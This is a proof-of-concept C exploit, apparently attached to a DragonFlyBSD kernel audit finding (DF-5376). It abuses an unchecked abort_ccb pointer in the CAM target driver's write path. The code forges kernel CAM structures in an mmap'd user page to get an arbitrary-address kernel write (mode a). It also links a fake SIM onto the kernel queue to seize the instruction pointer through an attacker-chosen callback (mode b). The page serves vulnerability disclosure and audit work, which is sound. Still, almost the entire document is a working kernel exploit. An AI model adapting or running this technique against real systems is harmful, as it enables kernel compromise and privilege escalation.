⬢ DragonFlyBSD Kernel Audit
DF-5376 / poc5376.c
← back to finding ↓ download raw
/*
 * DF-5376 PoC: targwrite()'s inline path checks targusermerge() only for
 * EFAULT, so the ESRCH "abort_ccb translation failed" result is forwarded:
 * the raw user-supplied abort_ccb pointer is handed to xpt_action(XPT_ABORT)
 * (cam_xpt.c:3075+), which dereferences it as a kernel union ccb -- reads
 * func_code/pinfo.index/path, WRITES ccb_h.status, increments
 * path->device->qfrozen_cnt (xpt_freeze_devq), performs ccbq heap/TAILQ
 * surgery, and (index>=0 branch) queues the fake CCB through a fake
 * struct cam_sim onto the kernel-global cam_simq, ending in
 * camisr_runqueue() calling the attacker-controlled ccb_h.cbfcnp.
 *
 * The guest has no SMAP/KASLR, so the fake CCB tree lives in an mmap'd
 * user page and every kernel write is directly observable (mode A), or
 * cbfcnp is pointed at an unmapped canonical address to prove full RIP
 * control from a write(2) syscall (mode B -> trap 12 with our chosen ip).
 *
 * Layout offsets of the private cam_xpt.c structures (cam_path/cam_eb/
 * cam_sim usage/cam_ed) come from the targsim module's sysctl dump
 * (hw.targsim.off), computed against the identical kernel headers.
 *
 * Usage: ./poc5376 a|b
 *   a -> clean arbitrary-address kernel-write demo (no crash):
 *        kernel writes CAM_REQ_ABORTED|CAM_DEV_QFRZN into fake ccb_h.status
 *        and increments fake dev->qfrozen_cnt -- both at user-chosen
 *        addresses; write() then returns success (CAM_REQ_CMP).
 *   b -> RIP control: fake sim is linked onto the kernel cam_simq and the
 *        SWI calls ccb_h.cbfcnp = 0x414141414140 -> "Fatal trap 12" with
 *        instruction pointer 0x414141414140 (camisr_runqueue).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/sysctl.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_targetio.h>

static int sysctl_int(const char *n);
static size_t getoff(const char *n);

static char offdump[4096];
static size_t offv[64];
static const char *offn[64];
static int noff;

static void
parse_offs(void)
{
	size_t l = sizeof(offdump) - 1;
	char *s, *tok, *eq;

	if (sysctlbyname("hw.targsim.off", offdump, &l, NULL, 0) < 0) {
		fprintf(stderr, "[-] sysctl hw.targsim.off: %s (kldload "
		    "targsim first)\n", strerror(errno));
		exit(1);
	}
	offdump[l] = 0;
	for (s = offdump; (tok = strsep(&s, " ")) != NULL;) {
		if (*tok == 0)
			continue;
		eq = strchr(tok, '=');
		if (eq == NULL)
			continue;
		*eq = 0;
		offn[noff] = tok;
		offv[noff] = strtoull(eq + 1, NULL, 0);
		noff++;
	}
}

static size_t
getoff(const char *n)
{
	int i;

	for (i = 0; i < noff; i++)
		if (strcmp(offn[i], n) == 0)
			return (offv[i]);
	fprintf(stderr, "[-] offset %s missing\n", n);
	exit(1);
}

static uint64_t
lock_addr(void)
{
	int i;

	for (i = 0; i < noff; i++)
		if (strcmp(offn[i], "lock_addr") == 0)
			return (offv[i]);
	fprintf(stderr, "[-] lock_addr missing\n");
	exit(1);
}

static void
put64(uint8_t *base, size_t off, uint64_t v)
{
	memcpy(base + off, &v, sizeof(v));
}

static void
put32(uint8_t *base, size_t off, uint32_t v)
{
	memcpy(base + off, &v, sizeof(v));
}

static void
puti32(uint8_t *base, size_t off, int32_t v)
{
	memcpy(base + off, &v, sizeof(v));
}

static void
empty_tailq(uint8_t *base, size_t off)
{
	uint64_t z = 0, self = (uint64_t)(uintptr_t)(base + off);

	put64(base, off, z);		/* tqh_first = NULL */
	put64(base, off + 8, self);	/* tqh_last = &tqh_first */
}

int
main(int argc, char **argv)
{
	struct ioc_enable_lun en;
	union ccb uccb;
	unsigned long p;
	int fd, mode, path_id, i;
	uint8_t *m;

	if (argc > 1 && argv[1][0] == 'b')
		mode = 'b';
	else
		mode = 'a';

	parse_offs();
	path_id = sysctl_int("hw.targsim.path_id");

	fd = open("/dev/targ", O_RDWR);
	if (fd < 0) {
		printf("[-] open: %s\n", strerror(errno));
		return (1);
	}
	memset(&en, 0, sizeof(en));
	en.path_id = path_id;
	en.target_id = 0;
	en.lun_id = 0;
	if (ioctl(fd, TARGIOCENABLE, &en) < 0) {
		printf("[-] TARGIOCENABLE: %s\n", strerror(errno));
		return (1);
	}
	printf("[+] DF-5376 mode %c: target mode enabled on bus %d\n",
	    mode, path_id);

	m = mmap(NULL, 0x10000, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (m == MAP_FAILED) {
		printf("[-] mmap: %s\n", strerror(errno));
		return (1);
	}
	memset(m, 0, 0x10000);

	uint8_t *fake_ccb    = m + 0x0000;
	uint8_t *fake_path   = m + 0x1000;
	uint8_t *fake_bus    = m + 0x1100;
	uint8_t *fake_sim    = m + 0x1200;
	uint8_t *fake_dev    = m + 0x1400;
	uint8_t *fake_periph = m + 0x1c00;
	uint8_t *qarr        = m + 0x1d00;	/* cam_pinfo *[2] */
	uint64_t real_lock   = lock_addr();

	size_t o_func     = getoff("hdr_func");
	size_t o_status   = getoff("hdr_status");
	size_t o_path     = getoff("hdr_path");
	size_t o_index    = getoff("hdr_index");
	size_t o_cbfcnp   = getoff("hdr_cbfcnp");
	size_t o_simnxt   = getoff("hdr_sim_next");
	size_t o_xptnxt   = getoff("hdr_xpt_next");
	size_t o_pbus     = getoff("path_bus");
	size_t o_pperiph  = getoff("path_periph");
	size_t o_pdevice  = getoff("path_device");
	size_t o_ebsim    = getoff("eb_sim");
	size_t o_slock    = getoff("sim_lock");
	size_t o_sdoneq   = getoff("sim_doneq");
	size_t o_dccbq    = getoff("dev_ccbq");
	size_t o_dqfroz   = getoff("dev_qfrozen");
	size_t o_cqqueue  = getoff("ccbq_queue");
	size_t o_cqactive = getoff("ccbq_active");
	size_t o_cqact    = getoff("ccbq_devinb");
	size_t o_qarr     = getoff("camq_array");
	size_t o_qsize    = getoff("camq_arraysize");
	size_t o_qent     = getoff("camq_entries");
	size_t o_ptype    = getoff("periph_type");

	int v_scsi_io  = (int)getoff("val_scsi_io");
	int v_unqueued = (int)getoff("val_unqueued");
	int v_bio      = (int)getoff("val_periph_bio");

	/*
	 * Wire the fake tree.  Every pointer the XPT_ABORT handler in
	 * xpt_action() touches is under our control:
	 *   abort_ccb->ccb_h.path->device->{qfrozen_cnt,ccbq}
	 *   abort_ccb->ccb_h.path->bus->sim->lock   (KKASSERT target)
	 *   (mode b)  ->periph->type, ->bus->sim->{sim_spin,sim_doneq,
	 *                                          flags,links,devq}
	 */
	put64(fake_path, o_pbus, (uint64_t)(uintptr_t)fake_bus);
	put64(fake_path, o_pdevice, (uint64_t)(uintptr_t)fake_dev);
	put64(fake_bus, o_ebsim, (uint64_t)(uintptr_t)fake_sim);
	put64(fake_sim, o_slock, real_lock);	/* lockowned()==true: we hold it */
	empty_tailq(fake_dev, o_dccbq + o_cqactive);	/* empty active_ccbs */

	put32(fake_ccb, o_func, (uint32_t)v_scsi_io);	/* XPT_FC_DEV_QUEUED */
	put64(fake_ccb, o_path, (uint64_t)(uintptr_t)fake_path);

	if (mode == 'a') {
		/*
		 * Branch 2: pinfo.index == CAM_UNQUEUED_INDEX and status
		 * without CAM_SIM_QUEUED:
		 *   abort_ccb->ccb_h.status = CAM_REQ_ABORTED|CAM_DEV_QFRZN
		 *   xpt_freeze_devq(fake_path, 1): qfrozen_cnt++
		 */
		puti32(fake_ccb, o_index, v_unqueued);
		put32(fake_ccb, o_status, 0);
		put32(fake_dev, o_dqfroz, 0x11110000);
		printf("[*] before: fake ccb_h.status = %#x, "
		    "fake dev->qfrozen_cnt = %#x\n",
		    *(uint32_t *)(fake_ccb + o_status),
		    *(uint32_t *)(fake_dev + o_dqfroz));
	} else {
		/*
		 * Branch 1: pinfo.index = 1 (heap slot) -> ccbq surgery,
		 * then xpt_done(fake) -> fake sim onto kernel cam_simq ->
		 * camisr_runqueue -> (*ccb_h->cbfcnp)(...) = RIP control.
		 */
		puti32(fake_ccb, o_index, 1);
		put32(fake_ccb, o_status, 0);
		put64(fake_ccb, o_cbfcnp, 0x0000414141414140ull);

		/* fake camq: 1-based heap holding exactly our fake pinfo */
		put64(fake_dev, o_dccbq + o_cqqueue + o_qarr,
		    (uint64_t)(uintptr_t)qarr);
		puti32(fake_dev, o_dccbq + o_cqqueue + o_qsize, 2);
		puti32(fake_dev, o_dccbq + o_cqqueue + o_qent, 1);
		put64(qarr, 0, 0);
		put64(qarr, 8, (uint64_t)(uintptr_t)(fake_ccb + o_index));

		/* active_ccbs contains the fake ccb (for ccb_done TAILQ) */
		put64(fake_dev, o_dccbq + o_cqactive,
		    (uint64_t)(uintptr_t)fake_ccb);
		put64(fake_dev, o_dccbq + o_cqactive + 8,
		    (uint64_t)(uintptr_t)(fake_ccb + o_xptnxt));
		put64(fake_ccb, o_xptnxt, 0);			/* tqe_next */
		put64(fake_ccb, o_xptnxt + 8,
		    (uint64_t)(uintptr_t)(fake_dev + o_dccbq + o_cqactive));
		puti32(fake_dev, o_dccbq + o_cqact, 1);	/* dev_active */

		put64(fake_path, o_pperiph, (uint64_t)(uintptr_t)fake_periph);
		puti32(fake_periph, o_ptype, v_bio);
		empty_tailq(fake_sim, o_sdoneq);	/* empty sim_doneq */
		/* sim flags 0, devq NULL, sim_spin zeroed (already) */
		printf("[*] fake CCB armed: index=1 cbfcnp=0x414141414140; "
		    "expect SWI camisr_runqueue -> cbfcnp call NOW\n");
	}

	/* the daemon's own inline XPT_ABORT CCB */
	memset(&uccb, 0, sizeof(uccb));
	uccb.ccb_h.pinfo.priority = 5;
	uccb.ccb_h.func_code = XPT_ABORT;
	uccb.cab.abort_ccb = (union ccb *)(uintptr_t)fake_ccb;
	p = (unsigned long)(uintptr_t)&uccb;
	fflush(stdout);

	ssize_t n = write(fd, &p, sizeof(p));
	if (mode == 'a') {
		uint32_t st = *(uint32_t *)(fake_ccb + o_status);
		uint32_t qf = *(uint32_t *)(fake_dev + o_dqfroz);

		printf("[*] write() returned %zd\n", n);
		printf("[*] after : fake ccb_h.status = %#x "
		    "(CAM_REQ_ABORTED|CAM_DEV_QFRZN = %#x)\n",
		    st, (unsigned)(CAM_REQ_ABORTED | CAM_DEV_QFRZN));
		printf("[*] after : fake dev->qfrozen_cnt = %#x "
		    "(was 0x11110000)\n", qf);
		if (st == (CAM_REQ_ABORTED | CAM_DEV_QFRZN) &&
		    qf == 0x11110001) {
			printf("[+] REPRODUCED: kernel wrote to both "
			    "user-chosen addresses inside the mmap page "
			    "(arbitrary-address kernel write primitive)\n");
			return (0);
		}
		printf("[-] kernel writes not observed\n");
		return (1);
	}

	printf("[*] write() returned %zd; SWI should call "
	    "0x414141414140 within milliseconds...\n", n);
	fflush(stdout);
	for (i = 0; i < 50; i++) {
		usleep(100000);
		printf("[*] still alive after %d ms\n", (i + 1) * 100);
		fflush(stdout);
	}
	printf("[-] no RIP-control panic - NOT reproduced\n");
	return (1);
}

static int
sysctl_int(const char *name)
{
	int v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) < 0) {
		fprintf(stderr, "[-] sysctl %s: %s\n", name, strerror(errno));
		exit(1);
	}
	return (v);
}